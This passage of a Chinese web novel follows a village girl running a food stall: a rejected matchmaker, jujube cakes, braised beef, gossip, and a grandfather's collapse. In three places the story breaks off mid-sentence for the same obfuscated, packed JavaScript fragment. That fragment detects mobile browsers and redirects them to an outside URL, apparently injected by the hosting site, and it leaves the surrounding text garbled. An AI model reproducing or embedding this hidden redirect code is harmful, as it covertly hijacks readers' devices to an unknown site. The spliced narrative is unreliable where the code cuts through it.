卢晓晓认出来那妇人叫赵云霞，从外村嫁过来的，丈夫前两年得了急病没了，只她一人带着孩子。亲戚也都过着艰难，帮不上什么，但也没让她母子俩被人欺负了，她就守着仅有的两亩地过日子。 卢晓晓想了想，道，“柱子，我用钱买你的酸枣可好，你捡一筐子，我给你一文钱。有钱你娘就能给你买好吃的了。”酸枣个头大，这一筐子约摸能装个五斤的样子。 “你真的会给我钱吗？”小孩迟疑道。 “那是当然的，你捡了之后就送到村东面的卢大贵家，你娘知道在哪。不过可说好了，就只要这几棵树的，别的我不要。”卢晓晓嘱咐道，怕小孩为了捡酸枣往那山里去。 “那我问娘去。”说完小孩就跑向了那妇人。 卢晓晓见天色已近午时，便往家走了。到家不一会儿，卢二娘子和卢二郎出摊回来了，卢大贵也从地里回来了。 “晓晓，今日卖得可好了，不仅备的卖完了，订的还不少，我都给记下来了。”卢二郎兴奋地递过来个小簿子。 簿子是布做的封皮，上面还用麻绳系着一根用布缠绕成的炭笔，卢二郎可喜欢这炭笔了，他字练得不多，很快就适应了新的书写方式。 簿子记得简单，画圈表示红烧肉，画三角表示熏鱼，画叉表示兔肉，卢晓晓算了算，竟订出去了十斤红烧肉，五斤熏鱼，四斤干锅兔，有九百文的收益呢，可真是了不得！ 15. 媒婆上门 趁着时间早，一家人点了点今日赚的钱，竟有七百五十余文，卢二娘子高兴极了，今日的吃食都是经她手外出去的，特别有成就感。 “这可真能挣钱呀！”卢大贵不禁感叹道。 “照这么下去，咱家一个月就能挣十几贯钱，三郎的束脩就不愁了。还能给他们兄妹攒下不错的聘礼和嫁妆。”卢二娘子高兴道，她是把自己和卢大贵的分红算到公中的。 “娘、二哥，这两日元三爷可来了，有没有说宋家学堂的事？”卢晓晓问道，她两日未去摊子了，希望没错过什么消息。 “来过了，问你明日可过去，说是问到了些消息，今日客人太多，没顾上问。”卢二郎道。 “娘，明日你再跟着出摊吧，我怕空不出人手问学堂的事。元三爷事忙，不好叫他等的。”卢晓晓思索道。 “娘不碍事，也就耽误些刺绣的功夫，只你爹和三郎的早食就没人送了。” “我给三郎送就成，这地里的活少干会儿也不打紧，你们晚上做些吃食，明日我给热了送过去。”卢大贵接道。 “卢娘子在家吗？”几人说话间，外边传来呼声。 “谁啊？”卢二娘子走出去。卢晓晓和卢二郎把东西收了收。 等卢晓晓放好钱回来，只见一大婶坐在堂屋里，叭叭地说着一姑娘是多么多么好，卢二郎小声说，这是镇上的张媒婆，来给大哥说亲。 有人说亲是好事呀，帮儿女定下婚事就是为人父母顶顶重要的大事，卢家夫妻俩高兴极了。 可听到张媒婆说的人家后，卢二娘子不免有些踟蹰，说的是赵家村的赵杏花。这赵杏花与卢大郎同年，模样好，是十里八村出名的漂亮姑娘。 早些年上门的人家不少，赵家嫌人聘礼不够，便拖到了现在。赵杏花有一姑姑嫁到了杜家村，不少拿婆家的东西回去补贴娘家。 卢二娘子不晓得赵杏花是怎样的人，可单这两条，她就不想和赵家结亲家，又不好直接拒了，思忖道，“这样好的姑娘，我是盼都盼不来的，只是听说她家要的聘礼颇多，我们家怕是置不起这样厚的聘礼。” “哪有这事，赵家只要五两银子和一些寻常的礼，好姑娘可都要这么多。”张媒婆伸手扬了扬五根手指，压低声音道。 这确实不多，卢二娘子又说道，“我儿现在镇上的书肆干活，十日才有一休，成亲怕是冷落了人姑娘，不知赵家介不介意。” “这好办！你不说我都要与你们说的，你家不是在镇上有个摊子吗，赵家的意思是以后摊子就交给他们小夫妻两。” “大郎在镇上的活计不错，摊子也经营得好好的，我们没打算变动。” “这哪能行，这摊子自然要给儿子媳妇，女儿迟早要嫁人的，再说你家女儿小小年龄在外抛头露脸的，名声都不好了，以后怎好说亲呐。” “你说谁的名声不好了，你这媒婆在这胡说什么！”卢大贵怒道。 “哎呀，我说你家男人怎这样激动，又不是我说的，那赵家也是为了你家好，你家小娘子天天在外跑，前几日有人还见她跟一男子说了不少私话。” “呸，我日日跟我妹子在一块，怎么不晓得她跟人说私话了？”卢二郎驳斥道。 合着不要多的聘礼是在这等着呢，她不能外出做生意，他们女儿倒是可以，就差没把抢钱写在脸上了，这赵家可真是会想，卢晓晓心说。 “你回去与那赵家说，我们两家不合适，我也不多留您了。”卢二娘子压着怒意把张媒婆请了出去。 张媒婆跑这一趟，没拿到媒钱不说，还被卢家赶了出来，出门就见着了张大娘，好生没脸。 “张媒婆呀，来给卢家说亲吗？说得谁家呀？”张大娘问道。 张媒婆敛了敛表情，说道，“这卢家呀，把着家中的生意摊子，不愿叫媳妇沾一点，倒让个要外嫁的丫头张罗，这是什么理，我可不敢把好姑娘往他家说。” “这样啊！”张大娘心想，啧，这不知谁家，姑娘没过门就想着人家生意摊子了，可真是会想啊。这摊子就是卢晓晓张罗起来的，别人不知晓，她这天天注意着卢家动静的可是清楚得很。 张媒婆见她不接话，就也不再和她多说了。 这卢二娘子把张媒婆赶走后，还生了好一会儿气，卢晓晓劝道，“娘，别气了，咱不理她就是了。” “我怕她在外头说你们兄妹的坏话。”卢二娘子担忧道，又忍不住埋怨卢大贵，“都是你，和她发什么火？” “她说得太气人了，这么胡说咱家晓晓。”卢大贵讪讪地说。 “叫她说，这媒婆这么多，还怕了她不成。”卢二郎道。 “就你能耐，今日还敢驳斥她，指不定人要怎么说你了！”卢二娘子更气了。 “娘，大哥在书肆当伙计，我跟二哥在镇上卖吃食，这性子都摆人前了，那是她说不好就不好的？” “对对对，要是只听媒婆一张嘴的人家，不结亲也罢，还是惠娘你聪明，打一开始就没答应。”卢大贵赶紧说好话。 “就是，说不定我和大哥都找了镇上的姑娘呢，谁管她一个村里的媒婆！” “我说不过你们，春芬和春芳快来了，我去收拾收拾。”姐妹两针法学会了，只在家练习，每日拿过来叫卢二娘子指点指点就行了。 三人相视一笑，总算把人哄好了。 几人各自忙到卢三郎回来，一起吃了晚食，坐在院子里纳凉。天色擦黑，忽见一妇人牵着一小孩在院门口张望。 卢二娘子问道，“谁呀？” “婶子，是我，村西边的赵云霞。” “娘，是给我送酸枣来了！云霞姐快进来。”卢晓晓蹦了起来。 赵云霞牵着柱子走了进来，一人背着一竹筐，道，“晓晓，你要的酸枣拾好了，我们拾了不少，你看看要多少。”边说边放下背筐。 “都要，就按今日跟柱子说的价。”只见赵云霞背的大筐里装得满满的，小筐里只有小半筐。 用小筐量了量送来的酸枣，满满的六小筐，赵云霞在家中量过的。 卢晓晓给了六文钱，赵云霞谢了又谢，问以后还要不要，得到肯定答复后，又央卢晓晓别找其他人，她以后都会先拾了酸枣再去地里干活。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811418|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >卢晓晓本就是看他们母子过得艰难，才找他们的，自是答应了。 等赵氏母子一走，卢二郎便问道，“晓晓，拾这酸枣干嘛，可酸了。” “做酸枣糕，过几日你就知道了，酸酸甜甜的，可好吃了！”卢晓晓想起酸枣糕的味道，嘴里忍不住地分泌唾液。 “真不知道你脑中这些吃食做法哪来的。”在吃的方面，卢二娘子不得不感叹卢晓晓的天赋。 到了第二日，三人一道去了镇上，人多忙起来就利索多了，快到午时才见着元三郎过来。 卢晓晓欢喜地招呼道，“元三爷，今日要些什么？” “来两个肉夹馍，那宋氏学堂问到些消息。学堂里有两位夫子，都是举人，一人擅诗赋，一人长经史，两人是要参加会试的，故每日只上午上课。学堂里的学生大多数是从宋氏族学里选出来的，还有几个是家境差，但是书读得极好的学生。” “那旁人如何能进宋家学堂读书？” “原是没机会的，正好有人拖了关系递了荐贴，夫子定了下月初一考校，你们若是想进去，就明日拿个荐贴过来，我帮你们送过去。” 元三郎问的是宋家少爷，宋家少爷正好知道这事。 自打秀才榜公布后，就有不少人想通过宋老爷把子侄送入宋氏学堂，可宋氏学堂是他堂哥办的，他说不上话呀。 来找他的人不是故友，就是生意上的伙伴，他也不好回绝，便把这的任务交给了在宋家学堂读书的儿子，让他去问学堂里的夫子。哦，他儿子都是凭自己的本事考进去的呢。 “真是谢谢元三爷了，不知道那宋氏学堂开在了何处？”卢晓晓想了想，问道。 “离这不远，就在同心巷的宋家老宅里。” 卢晓晓对元三郎谢了又谢，说明日定把帖子准备好。 送走了元三郎，又道，“娘，二哥，我去学堂门口看看，这会该是下课了。” 同心巷也在镇子的中心区域，位于镇衙的另一侧，这里住着的多是家境殷实的人家。 卢晓晓在门口等了等，见那大门突然开了，走出一些背着囊箧的书生，有那身穿粗布衣服的，也有那衣着富贵的。有小厮在外等着，她在小厮中看到了宋家小哥。 卢晓晓又等了一会儿，等书生们走完，门房就把门关上了，再没见人出来，才回去。 回到摊子上，卢二娘子和卢二郎已经把东西收拾好了。 “晓晓，那学堂如何？”卢二郎问道。 “我在门外瞧了瞧，在那学堂读书的有十一二人，都是眉目清正的人，看穿着有家境好的，也有家境不好的，彼此相熟的样子，看着很是不错。” “我们没有关系，找谁写帖子？村里的秀才怕是不行。若是你姥爷还在，识得的读书人多些，还能在镇上找个引荐人。”卢二娘子道。 “没人引荐，我们就自荐，帖子叫三郎自己写。”卢晓晓作为一个从现代社会摸爬滚打过来的社畜，最不缺的就是自荐的勇气。 “能成吗？”卢二娘子担忧道。 “这学堂里的夫子指不定还更喜欢自荐的学生！” 16. 金玉糕 回到家，卢二郎便去学堂给卢三郎带话，叫他放学后早点回家。卢晓晓则做起酸枣糕，将收来的酸枣倒入簸箕中，与卢二娘子一起将坏的酸枣挑拣出来。这酸枣送来之前应该被仔细挑过了，全是好的。 然后将酸枣清洗干净，冷水下锅煮到大部分的酸枣果皮开裂，捞起放到簸箕中滤干水分，稍微放到不那么烫手，用手把酸枣一捏，趁热将酸枣连肉带核挤出。 把酸枣都去皮后，再如和面般揉搓剥皮后的酸枣，直到核渐渐脱离出来，边揉搓边把脱出来的核捡出来。 这是力气活，卢晓晓人小力弱，便把活交给了卢二娘子。 她去地库取了个南瓜，把南瓜削皮去籽，切块放到锅里隔水蒸熟。 酸枣核大，等把核去完，六筐的酸枣只剩下六斤的酸枣果肉。将买来的三斤蔗糖倒入酸枣肉中，卢二娘子看着直心疼，揉搓得更起劲了。 当果肉和蔗糖充分融合，卢晓晓在簸箕上铺上一块晒布，把揉好的果泥均匀的涂到晒布上，涂上薄薄的一层，余下两斤果泥的时候，卢晓晓将压成泥的南瓜加入果泥中，揉和均匀后再厚涂到簸箕上。 又将涂满果泥的簸箕放到晒架上，这酸枣糕暴晒两三天后，翻面晒上两天，就做好了。 忙完这，又接着准备明天的吃食和今日的晚食，直到卢家父子回来，才忙妥当。 人齐了，便要晚食了。 卢三郎问起了学堂的事。“姐，听二哥说宋氏学堂的事有眉目了？” “学堂下月初正好要考校一批学生，元衙役说他能帮忙把帖子送进去，就是这帖子得今天写出来。 “我自己写吗？”卢三郎紧张道。 “嗯，能行吗？” “能行！吃过饭我就去写。”说完加快了吃饭速度。 家人给他争来了机会，没道理他自己说不行的。 过了一日，卢晓晓把一份写得工工整整的帖子给了元三郎。 又过了几日，第一批做的酸枣糕晒好了，得了七斤的酸枣糕，有两个口味。纯味酸枣糕色泽透明，美似琥珀，果味浓郁。南瓜味酸枣糕嫩糯细腻，南瓜中和了酸枣的酸味，酸甜可口。 把晒好的酸枣糕切成方便入口的小块，放到坛子中，可以保存上半个月。 这酸枣糕营养价值丰富，酸酸甜甜的口味很是开胃，酸枣还有补血养颜、安神助眠的功效，最适合女子食用。 等春芬、春芳过来的时候，特地捡了几块出来，道，“这是我新做的糕点，堂姐快尝尝。” 姐妹俩看着这色泽金黄的糕点，各拿了一块尝了起来，酸酸甜甜的味道和软糯的口感让两人眼前一亮。 “这可真好吃，要拿去镇上卖吗？”春芬问问道。 “嗯，打算明天带去卖卖看。” “晓晓真厉害，我觉得这糕比知味斋的芙蓉糕好吃！这糕叫什么呀？”春芳问道。 “叫金玉糕。” “这名字好，贴切又讨喜，定然卖得好。”春芳夸道。 “我也觉得好。晓晓做什么都好吃，前些日子教我们的酸菜鱼，娘做了几回，嫂子吃的可好了，气色现在是越来越好，全家可高兴了。”春芬又夸道。 “吃得好就好了，我算着你们腌的酸菜也熟了，就不给你们送酸菜了，一会拿些糕点回去，不过这个不能让堂嫂多吃了。” 姐妹几个有说有笑，好不欢快。 卢二娘子欢喜地看着几个小姑娘，不免想起自己嫁人前玩得好的小姐妹，如今已是少有往来。 吃过晚食，卢晓晓又拿出酸枣糕叫卢家父子尝味道。 “这真是用酸枣做的？”卢大贵诧异道。 “若不是跟着晓晓一块做的，我都不相信那酸枣能做出这样好吃又好看的糕点。”卢二娘子道。 卢二郎和卢三郎也觉得好吃，一下没忍住把拿出来的都吃光了。 “姐，这是不是要拿去卖？我们给吃完了。”卢三郎吃完才想起来。 “还有呢，吃食做出来自然是要吃的。” “我们摊子上又加了样吃食，能挣的钱就更多了！”卢二郎只觉得充满了干劲。 “这东西多了，能不能忙过来？”卢二娘子跟着去了几回，知道这摊子上忙得不停，卢晓晓讲究，卢二郎负责收钱，就不让他碰吃食了，就是干些烧炉子的活。 “如今还能应付，卖酸枣糕不费什么事，不过买肉夹馍的人近来少了些，我想着过几日再增加样面食，让客人多个选择。到那会怕是忙不过来了，娘也不能老跟着去摆摊，家里得留个人，咱是不是找春芬姐或是春芳姐来帮忙？给工钱。”卢晓晓道。 “这主意好，你二伯家又要娶媳妇又要嫁女儿的，尽是用钱的地方。”卢大贵很是赞成。 “那吃过饭，我去问问嫂子，晓晓也一道去。”卢二娘子道。 吃过饭，母女俩就去了卢二伯家，说起去摊子帮忙的事，卢二伯一家欢喜不已，没有不应的。两家说好明日先把家里的事做好，后日再开始去帮忙。 卢晓晓又去看了看从山里抱回来的兔子，已经长大了不少，见陌生人来，全都挤到了一处，毛茸茸的，可爱极了。两姐妹照顾得精细，没什么味道。 等母女俩回去，卢二伯一家商量起谁去帮忙的事，最后决定由善做面食的春芬去，挣的工钱一半交公中，剩下的两姐妹各一半。 第二日，卢晓晓带了五斤酸枣糕到镇上，原味两斤，南瓜味三斤。 为了省事，酸枣糕也按份卖，一份二十五文，半斤的量。又切了几块放在一旁，给客人试吃。 一切准备好，卢记肉夹馍就如往常一样开摊啦。 没多久，好些人注意到了这形似琥珀的吃食，问是何物。卢二郎介绍道，这是金玉糕，寻山里的果子做的，好几十斤的果子就做出这一些，味道酸甜可口，果味浓郁，好吃的很。 这金玉糕看着色泽透亮、软软糯糯，吃着酸酸甜甜，半斤不过二十五文，较铺子里点心的价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811419|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱便宜多了，买的人竟是不少。 等宋家小哥来的时候，只剩下了两份。 “小娘子，这新做的吃食真好看，叫什么名字，如何卖？”宋家小哥尝了之后问道。 “这唤金玉糕，二十五文一份，有开胃健脾、安神助眠的功效，就剩两份原味的了，可要买些回去？”卢晓晓答道。 “要一份。”小哥说道。宋家少爷喜吃点心，常常借着给母亲、妹妹买吃食的借口，买了点心偷偷吃，小哥想这金玉糕定合他口味。 等小哥付了钱，把东西拿走，卢晓晓想了想，把最后一份金玉糕收了起来，就等元衙役过来说学堂的事。 如今，单买红烧肉的人越来越多，肉夹馍的销量降了不少，摊子上的肉和鱼很快卖光了。 见天色尚早，便打算去集市看看，路过卖山寨肉夹馍的摊子，发现他们的客人也是寥寥。 到了集市，竟发现有人在卖牛肉。 牛在古代属于生产工具，官府严禁宰杀耕牛，只有自然死亡的牛才能进入市场，且还被限制了售价。 看到牛肉，卢晓晓已经想到了好些做法，上前仔细看了看，见这肉颜色鲜亮，腥臊味较轻，应该是新鲜牛肉，便花一百文钱买了四斤牛腱子肉。 回到摊子，又等了一会，才见到元三郎大步过来了。 学堂有了回信，让下月初二的巳时到学堂。 卢晓晓拿出准备好的酸枣糕，道，“元三爷，太谢谢您了，这是新做的糕点，唤金玉糕，是酸甜口的，最是开胃健脾，还有美容养颜的功效，适合家中女眷食用，您拿些尝尝。” 元三郎没有多加推拒，拿了酸枣糕，又叮嘱了几句才走。 卢晓晓兄妹俩高兴得很，这卢三郎到镇上念书的事总算卖出了一步。 又说宋家小哥把金玉糕带回宋家，宋少爷一尝，果然很满意，使家中的婆子找了个瓷罐子装了起来，打算放在书房中，读书困顿的时候，吃上一两块。 宋家少爷叫宋连玉，有个嫡亲妹妹叫宋云想，兄妹两人多亲近。婆子把金玉糕装到罐子中的时候正好赶上她来找宋家少爷。 “哥哥，这是什么，是买给我的吃食吗？这点心我还是第一次见。”说着就拿了一块放嘴里。 酸甜的味道加上软糯的口感，小姑娘喜欢极了，又拿了一块，道，“这好吃，一会我拿走了。” “拿吧，拿吧，你来找我何事？”宋连玉无奈道。 “元家姐姐后日生辰，我想明日去给她买件首饰，娘要盘账，哥哥你陪我去吧！这糕点不错，明日也买一些带过去。”宋云想道。 “那你等我明日下学后去，不过这点心可不是在铺子里买的，是个摆摊的小娘子做的，只有上午才有得卖。你若是喜欢，我就使人去给你买两份。” “喜欢，喜欢，哥哥你要给我买来呀，元姐姐定也喜欢吃。” 想不到，宋连玉买的两份糕，竟让青阳县里刮起了一阵金玉糕的风，这是后话。 17. 萝卜炖牛肉 到了家，两人歇了会，卢二郎便跟着卢大贵下地干活去了，卢晓晓把买来的牛肉洗净，切成块，放入冷水里泡着，又加入少许的盐。买来的牛肉肉质老，得泡上小半个时辰，才好炖得软烂。 她今儿要做的是萝卜炖牛肉。 忙完这，又去与卢二娘子一道收拾晒成的酸枣糕，如今酸枣糕的制作、晾晒已经交给了卢二娘子。 赵云霞也是能耐的，除了山脚的几棵树，竟叫她在山里找到了一小片酸枣树，每日会给送上几筐酸枣果子。 卢晓晓见卢二娘子似乎面色不虞，问道，“娘，怎么了？” 卢二娘子犹豫了片刻道，“今儿我去洗衣服，竟听到有人传你们兄妹的不是，说你厉害，说你哥只知道护着妹妹，谁家女儿嫁过来定吃亏，我真想撕了他们的嘴。” 卢二娘子想起上午的事，还是气愤不已，可她一辈子都是温声细语的，怎么骂得过日日说长道短的闲妇，好在张大娘帮了嘴。 “娘，别跟他们一般见识，谁说护着妹妹就对媳妇不好了，难不成要把女儿当成丫鬟使才好？这些人咱就少往来。” 不得不说，这村里的闲话就是传得快，张媒婆上门才几日，竟就传起了闲话。 “娘知道，只是气不过，这闲言闲语说多了，总是坏了你们兄妹的名声，今日好在你张家婶子帮忙骂了回去，等晚上牛肉做好了给送碗过去谢谢人家。” “好咧，娘，别气了，她们说不得是看你有个这么能干的女儿，泛酸才故意说的呢！”卢晓晓逗趣道。 不得不说，有些人就见不得人过得好。 “哪有这样夸自己的，不害臊。”卢二娘子笑说。 两人又说了说今日摊子的情况，卢二娘子才不再把这事放心上。 卢晓晓见时间差不多，去地里拔了颗萝卜，开始准备炖牛肉。 把泡足时辰的牛肉块从盆中捞出，冲去泡出的杂质，放入冷水锅中，加入姜片、葱段去腥，大火烧开，撇去浮沫。 等汤汁变得清澈，放入准备好的桂皮、八角、茱萸、麻椒等调料，盖上锅盖，大火煮上一刻钟。 揭开锅盖，把牛肉翻一翻，散去肉的腥味，再盖上，换成小火，慢慢炖上一个时辰。 趁炖牛肉的时间，把熏鱼做好，又把五花肉焯水炖上。 然后把萝卜洗净，滚刀切块，加入牛肉锅中，再炖上两刻钟，萝卜炖牛肉便好了。 卢晓晓尝了一块牛肉，只觉得肉质暄烂，鲜香入口，又吃了块萝卜，萝卜炖得软烂，咬一口，清甜的汁水便溢满口腔，带着浓浓的肉香味，胜似吃肉，让人觉得熨帖极了。 盛了一碗出来，端去堂屋，春芬和春芳的绣活已经收起来了，就等着卢晓晓来说次日出摊的事。 见卢晓晓端了个碗出来，春芳急性子的问道，“晓晓，又做了什么好吃的？” “萝卜炖牛肉，今日见到了卖牛肉，便买了些回来，牛肉最滋补啦，一会端完回去吃，这肉炖得够软烂，爷爷能吃。” “这可太好了，往日里吃得牛肉又老又柴的，难吃极了。”春芳又道。 “又端了你们吃的，回去娘得说我们脸皮厚了。”春芬笑说。 “嗐，你娘要是说，明日你们来投与我，我去跟她论论，这一家人怎么恁外道。”卢二娘子也笑道。 “就是，我这是孝敬爷爷、伯父、伯娘呢！春芬、春芳姐，明日你俩谁去出摊呀？” “是我，晓晓，你与我细说说明日有什么要求。”说到正事，春芬认真了起来。 “明日我们卯时出发，到你那边约摸卯时一刻，你就在家等着我们，见到人再出来。”卯时天色还昏暗，春芬一个小娘子出门不免危险。 “到了镇上，主要就是做肉夹馍，你看我做一做就回了，都是你寻常干惯了的活。”卢晓晓又道。 春芬又细问了几句，两人便端了牛肉回去了。 隔壁的张大娘在院子里看到姐妹两又端了碗肉回去，羡慕极了，不由感叹她怎么就没有这样的亲戚。 在院子里待了会儿，就见到卢晓晓端了个碗过来的。 “婶子，我家做了牛肉，我娘让我端碗过来，叫您给尝尝。”见路上有路过的村民，卢晓晓故意扬了声音道。 张大娘立刻意会地说道，“你娘也太客气了，不过帮嘴说了两句，你们兄妹的性子我是最知道的，你娘更是和善的人，那能叫她们乱嚼舌根。” 虽说可以不在意这些闲言闲语，却也不能任人口舌，不用等明天这卢二娘子与人起了口角的事就会传的人尽皆知。 如今借着送肉的机会，叫路过的人知道与她家来往的好，明日张大娘再去村口说一说，这名声就坏不了。人与人之间的往来无非是利以趋之，情以动之。 张大娘走出院门口，只觉得喷香扑鼻，再看到碗里大块的牛肉，满意极了，道，“晓晓，你先端一会儿，我去拿个碗装肉，这碗你一会就直接拿回去。” 不得不说，这张大娘是更通这人情世故，就去拿碗的这会儿工夫，路过了三个伯伯，两个婶子，都问卢晓晓在这何事。 卢晓晓只说给张大娘送碗肉，一字不提口角的事。人性就是这样，越是不提，越会被人刨根问底。 等到了晚上，杜有财父子回到家，晚饭时见桌上有一碗红艳艳，香喷喷的萝卜炖肉，一闻便知不是张大娘做的。 大儿子飞快地夹了块肉放嘴里，只觉得鲜香、软烂，“娘，这肉哪来的，可太好吃了！” “这是隔壁送来的，今天有人败坏卢家兄妹的名声，我帮着驳了几句。”张娘子自豪道。 “这是隔壁的小丫头做的？这牛肉炖得真不错。因着何说卢家兄妹？”杜有财问道。 “可不是晓晓那丫头做的，那丫头手艺可好！前几日张媒婆上门，要给卢家说亲，好像是想进门后管卢家的摊子，卢家不同意，这家人见捞不着好处，便故意传起了卢家兄妹性子不好的闲话。” 杜有财没去里正家吃席，张大娘虽然有回来说卢晓晓做的菜真好吃，他也觉得是因为张大娘容易满足。 “卢家这丫头的手艺不一般，以后怕是要有大出息，你好好与人来往着。”杜有财嘱咐道。 “对对对，娘，你与人多来往，说不得咱家以后就跟卢怀才一样，三天两头便有好菜吃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811420|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”小儿子道。 “我怎么就生了你这么馋！”张大娘道。 又对杜有财道，“我知道哩，要不今日哪能帮着说话！” 其实不然，张大娘今日帮腔，是因为跟说闲话的娘子有仇，这娘子先前也说过她家的闲话。 不过今日见卢家这么上道，也不妨与她们结交一番，而且这肉实在太好吃了，谁又要跟美食过不去呢。 第二日，卢春芬便跟卢家兄妹俩一块出摊了，刚到的时候还有些紧张，只觉得插不上手，见卢晓晓揉了回面，烙了两锅饼，卖了好几个肉夹馍，都是她寻常干的活，便踏实了，慢慢地把做肉夹馍的活接了过来。 因着要买金玉糕，宋家小哥早早地过来了，尝了口南瓜味的金玉糕道，“小娘子，这两个口味的金玉糕各来三份，再要十块熏鱼。” 两份是宋云想要带去元家的，一份是宋连玉自己吃的。 卢晓晓一边给包熏鱼，一边打探道，“买这样多可是要用来招待客人？” “小姐吃着好，要带去给人做礼呢！”宋家小哥低声道。 “那真要多谢小哥了，要不是你把这金玉糕买回去，宋家小姐哪会尝到我这小摊子上的吃食。”卢晓晓把熏鱼包好递给了小哥，又给多递了几块试吃的金玉糕。 如今宋家可是卢家摊子的大主顾，而这宋家小哥便是这大主顾的采购，可要搞好关系了。 有了卢春芬的帮忙，卢晓晓闲多了，除了搭把手给递个金玉糕，包个熏鱼，就没什么事了。 边上卖豆浆的婶子见她清闲便搭话道，“小娘子，你手艺可真好，带着我这的生意都好了不少。” 卢家的摊位原是挨着个卖汤面的，这买豆浆的婶子见这肉夹馍卖得好，便早早的过来占了位置，挤了进来。 “婶子，我还要多谢你呢，我这肉夹馍，味道虽好，就是有些干，配上你家的豆浆是刚刚好。”卢晓晓不是没想过搭配着卖些稀的，可每日要往返村里，再带桶稀的，就太费劲了。 两人又闲聊了几句，这婶子告诉卢晓晓，码头这月底有大船靠岸，好些船手会下船卖海货。 卢晓晓家住村里，之前也没想过做生意，对这些信息知道的少，她打算这月底便去码头上看看。 等到第一波的客流结束，卢春芬才歇了口气，她第一次来卖东西，兴奋得很。 “春芬姐，快坐下歇会儿，吃个肉夹馍。”卢晓晓递上水，把人换了下来。 卢春芬很快地吃好了早食，又把活接了回去，她干着高兴着呢。 在家干活和在这眼见着铜子不断进账的干活，感受是完全不一样的，后者更能给人满足感和幸福感。 早早的把备的吃食卖完，三人便回家了。 “晓晓，这生意真好呀，你可真厉害。”回家的路上，卢春芬眼睛亮亮地说道。 “那可不，晓晓做的东西都好吃，都卖的好！”卢二郎如今是个卢晓晓的无脑吹。 “呀，别劲夸我了，这摊子也有你们的一份功劳呢。”卢晓晓不好意思道。 三人边说边笑到了村口，有妇人见了春芬道，“春芬，你家出大事了！” 18. 变故 卢春芬一听，大惊失色，拔腿就要往家跑，卢晓晓赶紧拉住了她，道，“春芬姐，别急，你把背篓给我，我与哥哥放了东西就过去。” 卢春芬把身上的背篓卸给卢晓晓，卢家兄妹把东西送回家，也赶忙往卢二伯家走。 到了那，只见大堂哥神色惶惶地蹲在院子里，二堂哥着急的来回走。 “堂哥，发生了什么事？”卢二郎问道。 “爷爷教人给气晕了！”二堂哥气愤道。 卢晓晓心里一咯噔，这老人家最怕突发晕厥，赶紧问道，“现在如何了？” “吃了郎中带来的药丸，好些了，郎中正在里头诊脉。”二堂哥说道。 “是谁把爷爷气晕了？”卢二郎问道。 二堂哥张了张口，没说什么，卢二郎还想再问，卢晓晓拉了他一把。见大堂哥这个神色，秀珠嫂子又不在，怕是跟她有大关系。 不一会儿，卢大娘子把郎中送了出来，边走边说道，“刘郎中，今日真是谢谢您跑这一趟了。” “无碍，治病救人是老夫的责任，老人家身体还算健朗，回头把药抓回来，每日煎服三次，好好养着就行。”郎中答到。 “我那媳妇如何？” “底子不错，可今儿也是实打实的冲撞到了，只能吃些保胎的汤药，看造化了。” “那劳烦您了，且等一等，我这就叫人送您回去。”卢大娘子道。 “怀仁、晓晓来了，爷爷这会正休息，有你们爹和二伯伺候着，先不过去了，怀仁你就跟你二堂哥一块，晓晓去灶上找春芬、春芳吧，你娘在陪着秀珠，你不便过去。怀德，你过来拿些诊金，一会送郎中回镇上抓药。”卢大娘子安排到。 等卢怀德拿了钱，架着骡子车把郎中送出去，卢家兄妹已经各自从堂姐\堂兄口中得知了事情的经过。 这事果然跟秀珠有关，与卢晓晓也有些关系。 原是这秀珠娘，向来就爱占人便宜，逢年过节没少来卢家占便宜，这秀珠有喜后，更是借着来看秀珠的由头，连吃带拿的。 自从上次吃了卢晓晓做的菜，又知道这手艺能在镇上做生意，就总想着要得点什么。 前些日子，为了秀珠能吃好，养好胎，卢晓晓教了卢大娘子如何腌酸菜，如何做酸菜鱼。 见女儿气色越来越好，秀珠娘便来打听近来吃了什么，秀珠没防备，就说了酸菜鱼。 秀珠娘又问这鱼怎么做，秀珠只说不知，虽然晓晓没有特别嘱咐，但她也知道这做法不能由她流出去。接着，秀珠娘又撺掇女儿去学来，秀珠只面上应了。 今日上午秀珠娘又来了。 秀珠因为昨天夜里没睡好，晚起了一些，她娘来的时候，正在吃牛肉面，用的是昨日留出来的牛肉和汤汁。 牛肉不多，只留给了卢爷爷和秀珠。 一般客人上门，主家正在吃饭，都要循例问一句“吃了吗？” 秀珠娘本来在家中吃过了，可见秀珠碗里香喷喷的大块牛肉面，只道出门得匆忙，还没吃。 卢大娘子便让女儿端些吃的过来。卢春芳翻了一白眼，都快中午了，谁人上门还没吃早食呀！ 卢春芳端来了一个杂面馒头，一碗粥，两筷子咸菜，只皮笑脸不笑的道，“婶子您吃”。 